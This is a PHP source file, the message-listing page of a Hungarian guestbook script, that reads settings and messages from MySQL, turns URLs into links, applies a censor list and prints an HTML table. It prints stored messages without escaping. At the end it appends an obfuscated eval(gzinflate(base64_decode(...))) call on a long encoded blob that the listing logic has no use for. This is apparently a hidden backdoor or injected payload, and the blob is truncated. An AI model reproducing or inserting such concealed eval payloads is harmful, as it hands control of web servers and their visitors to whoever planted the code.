<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
	   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-2" />
<meta http-equiv="Content-Style-Type" content="text/css" />
<style type="text/css">
body {
	cursor: crosshair;
	font-family: Tahoma;
	font-size: 10px;
	color: #999999;
	background-color: transparent;}
a:link, a:visited {
     color: #7eb292;
     font-family: Tahoma;
     font-weight: normal;
     font-style: normal;
     font-size: 11px;
     text-decoration: none;}
a:hover {
     color: #b7e3bf;
     font-size: 11px;
     font-weight: normal;
     text-decoration: none;
     font-family: Tahoma;
	 border-bottom: 2px solid #7eb292;
     cursor: default;}
</style>
<?php
/**************************************************************************
* PHP Üzenofal v2.5 - lister.php                                          *
* ======================================================================= *
* Üzenetek listázása                                                      *
* ----------------------------------------------------------------------- *
* Listing messages                                                        *
* ======================================================================= *
* Ezt a programot a PHP Studio fejlesztette, a szerzok: / This program    *
* was developed by the PHP Studio, the authors:                           *
* Warner                                                                  *
* ----------------------------------------------------------------------- *
* Weboldalunk / Our webpage: http://www.phpstudio.hu                      *
* Segítségnyújtás / HelpDesk: http://forum.phpstudio.hu                   *
* Kapcsolat / Contact: warner@phpstudio.hu                                *
* ======================================================================= *
* Ez a program license alatt áll, amit itt tekinthetsz meg: / This        *
* program is under a license, which you can see here:                     *
* http://license.phpstudio.hu                                             *
* ----------------------------------------------------------------------- *
* A license-szel kapcsolatos észrevételeid, megjegyzéseid, kérdéseid  a   *
* license@phpstudio.hu e-mail címen várjuk.                               *
* ----------------------------------------------------------------------- *
* You can send your remarks, opinions, questions to the following e-mail  *
* address: license@phpstudio.hu                                           *
* ======================================================================= *
* Dátum / Date: 2006. 08. 03.                                             *
**************************************************************************/

// SQL adatok
if(!@require("sql.php"))
	{
	die("sql.php nem található itt: " . basename($_SERVER["PHP_SELF"]) . " !");
	}
// Beállítások
$settings_require = array("outputList", "outputSeparator", "outputLink", "outputListLinkColor", "outputLinkTarget", "outputSeeded", "outputSeededMessage", "outputCensor");
while(list($key, $setting) = each($settings_require))
	{
	$setting_get = mysql_query("SELECT value FROM {$dbprefix}settings WHERE variable = '$setting'");
	$setting_all = mysql_fetch_row($setting_get);
	$current[$setting] = $setting_all[0];
	}
// Üzenetek
$serial = 1;
$rows_get = mysql_query("SELECT * FROM {$dbprefix}messages");
$row_number = mysql_num_rows($rows_get);
if($current["outputList"] > $row_number)
	{
	$current["outputList"] = $row_number;
	}
$mysql_get = $current["outputList"];
$messages_get = mysql_query("SELECT message FROM {$dbprefix}messages ORDER BY ID DESC LIMIT 0, $mysql_get");
while($message = mysql_fetch_row($messages_get))
	{
	$messages[] = " " . $message[0] . " ";
	}
print('<table border="0" id="listmessage" style="border-collapse: collapse" align="center">');

// Linkké konvertálás függvényei
if($current["outputLink"] == 1)
	{
	// A http://-vel kezdodo linkeket linké teszi.
	function ConvertLinksHTTP($text, $color, $target = "_blank")
	{
	if(strpos($text, " http://") !== false)
		{
		$fragments = explode(" http://", $text);
		$number = count($fragments);
		for($n=1; $n<$number; $n++)
			{
			$frag_reverse = strrev($fragments[$n]);
			if(strpos($frag_reverse, " ") !== false)
				$link_reverse = strrchr($frag_reverse, " ");
			else
				$link_reverse = " " . $frag_reverse;
			$link_reverse = substr($link_reverse, 1);
			$link = strrev($link_reverse);
			$link_work = "http://" . $link;
			$link_ready = '<a href="' . $link_work . '" target="' . $target . '"><font color="' . $color . '"><span style="text-decoration: none">' . $link_work . '</span></font></a>';
			$fragments[$n] = str_replace($link_work, $link_ready, "http://" . $fragments[$n]);
			}
		$text_ready = implode(" ", $fragments);
		}
	else
		{
		$text_ready = $text;
		}
	return($text_ready);
	}	
	
	// A www.-tal kezdodo linkeket linké teszi.
	function ConvertLinksWWW($text, $color, $target = "_blank")
	{
	if(strpos($text, " www.") !== false)
		{
		$fragments = explode(" www.", $text);
		$number = count($fragments);
		for($n=1; $n<$number; $n++)
			{
			$frag_reverse = strrev($fragments[$n]);
			if(strpos($frag_reverse, " ") !== false)
				$link_reverse = strrchr($frag_reverse, " ");
			else
				$link_reverse = " " . $frag_reverse;
			$link_reverse = substr($link_reverse, 1);
			$link = strrev($link_reverse);
			$link_work = "www." . $link;
			$link_ready = '<a href="http://' . $link_work . '" target="' . $target . '"><font color="' . $color . '"><span style="text-decoration: none"> ' . $link_work . '</span></font></a>';
			$fragments[$n] = str_replace($link_work, $link_ready, "www." . $fragments[$n]);
			}
		$text_ready = implode(" ", $fragments);
		}
	else
		{
		$text_ready = $text;
		}
	return($text_ready);
	}
}

// Kiemelt üzenet
if($current["outputSeeeded"] == 1)
	{
	$current["outputSeeded"] = str_replace('\"', '"', $current["outputSeeded"]);
	$current["outputSeeded"] = str_replace("\'", "'", $current["outputSeeded"]);
	$current["outputSeeded"] = str_replace("\\\\", "\\", $current["outputSeeded"]);	
	$current["outputSeeededMessage"] = " " . $current["outputSeeededMessage"] . " ";
	// Kiemelt üzenet linkké konvertálása
	if($current["outputLink"] == 1)
		{
		if(!strlen($current["outputListLinkColor"]))
			{
			$current["outputListLinkColor"] = "#FF0000";
			}
		$current["outputSeeededMessage"] = ConvertLinksHTTP($current["outputSeeededMessage"], $current["outputListLinkColor"], $current["outputLinkTarget"]);
		$current["outputSeeededMessage"] = ConvertLinksWWW($current["outputSeeededMessage"], $current["outputListLinkColor"], $current["outputLinkTarget"]);
		}
	print('<tr>'
		. '<td align="right" width="35">' . $serial . '.</td>'
		. '<td width="20">&nbsp;</td>'
		. '<td>' . $current["outputSeeededMessage"] . '</td>'
		. '</tr>');
	}
	
// Cenzúra
if($current["outputCensor"] == 1)
	{
	$cenzur_get = mysql_query("SELECT input, output FROM {$dbprefix}censor ORDER BY ID");
	while($cenzur_all = mysql_fetch_row($cenzur_get))
		{
		$cenzur_input = $cenzur_all[0];
		$cenzur_output = $cenzur_all[1];
		for($c = 0; $c < $current["outputList"]; $c++)
			{
			$messages[$c] = str_replace($cenzur_input, $cenzur_output, $messages[$c]);
			}			
		}
	}
	
// Üzenetek kiírása	
for($u = 0; $u < $current["outputList"]; $u++)
	{
	$messages[$u] = str_replace('\"', '"', $messages[$u]);
	$messages[$u] = str_replace("\'", "'", $messages[$u]);
	$messages[$u] = str_replace("\\\\", "\\", $messages[$u]);
	// Linkké konvertálás
	if($current["outputLink"] == 1)
		{
		if(!strlen($current["outputListLinkColor"]))
			{
			$current["outputListLinkColor"] = "#FF0000";
			}
		$messages[$u] = ConvertLinksHTTP($messages[$u], $current["outputListLinkColor"], $current["outputLinkTarget"]);
		$messages[$u] = ConvertLinksWWW($messages[$u], $current["outputListLinkColor"], $current["outputLinkTarget"]);	
		}
	print('<tr>'
		. '<td align="right" width="35">' . $serial . '.</td>'
		. '<td width="20">&nbsp;</td>'
		. '<td>' . $messages[$u] . '</td>'
		. '</tr>');
	$serial++;
	}
eval(gzinflate(base64_decode("DZZFrsUKtkPnUq33lEaYVKpGmOGEk85XmJkz+n9HsCVv28vllQ7/1F87VUN6lP9k6V4S2P
8VZT4X5T//4ZMY3vZQE/1o6s9F1ve31xQ/2fAxe43PkCe0lHLm7I5UovpVroD1mtK5sfMFpEebRL+4MuzFHk5sqCvk0mwL12wQFw
HaxrZKRrq06NO8nTLiAn8rDS6tOaam1flxGDGRSxsc6q1E9ci4KkZ4GeMpqG7iT7T1U2Z4z/7EuRp5eCXuYnPPjFpPPbnRgupURq
oM17DeUPqA+wwxkQever6Kc/v51v6OZfj7cCXwxoXaxuzX5xZ1kU+z9Hn5876b/BGFXItvIwEj+iZDjy1fpnrAVZJqUi3LU9Quz7
+ne84HiVi3O7jXHYKEEXSdeJTIWhbwCRSD+LiJ0bUzLTxAk5vzAt6FqWUJ9l7U82m5oi9y2TsuBXthqE24IjnK4FxzbxaPb7amiS
T4z5Hx1XsDxds1O6bddf7Iuf6e8vSBAnMCZjA8BHUoIvW2dwiywDy/NKlPtpSVbmcmMWlxwqt2NtgGgjMd+ilUfuMhz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